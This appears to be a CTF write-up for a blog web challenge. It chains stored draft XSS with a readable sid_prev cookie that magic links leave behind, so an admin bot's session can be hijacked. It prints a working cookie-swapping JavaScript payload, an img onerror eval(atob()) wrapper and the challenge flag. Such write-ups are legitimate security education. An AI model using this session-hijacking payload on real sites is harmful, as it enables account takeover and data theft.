CTF-Writeups

Personal Blog — Writeup

Summary

The editor view renders draft HTML without sanitization, so a draft XSS is possible. When a magic link is used, the app stores the previous session cookie in a non-HttpOnly sid_prev cookie. By having the admin bot visit a magic link that redirects to our edit page, our XSS can read sid_prev, swap to the admin session, fetch /flag, then restore our session and save the flag into our own post.

Key Bugs

Exploit Chain

  1. Register/login and create a new post to get postId.
  2. Store a draft XSS via /api/autosave so it runs on /edit/<postId>.
  3. Generate a magic link (/magic/<token>).
  4. Submit to the bot:
    http://localhost:3000/magic/<token>?redirect=/edit/<postId>
  5. When the admin visits the link:
    • The app sets sid_prev=<admin sid> and sid=<your sid>.
    • XSS reads sid_prev, swaps sid to admin, fetches /flag, restores sid, and saves the flag into your post.
  6. View /post/<postId> to read the flag.

Payload (JS logic)

(async () => {
  const cookies = Object.fromEntries(document.cookie.split(';').map(v => v.trim().split('=')));
  const sidPrev = cookies.sid_prev;
  const sidMine = cookies.sid;
  if (!sidPrev || !sidMine) return;
  document.cookie = 'sid=' + sidPrev + '; path=/';
  const flag = await (await fetch('/flag')).text();
  document.cookie = 'sid=' + sidMine + '; path=/';
  await fetch('/api/save', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ postId: POST_ID, content: flag })
  });
})();

Example HTML wrapper for the draft:

<img src=x onerror="eval(atob('<base64-js>'))">

Notes

Flag

uoftctf{533M5_l1k3_17_W4snt_50_p3r50n41...}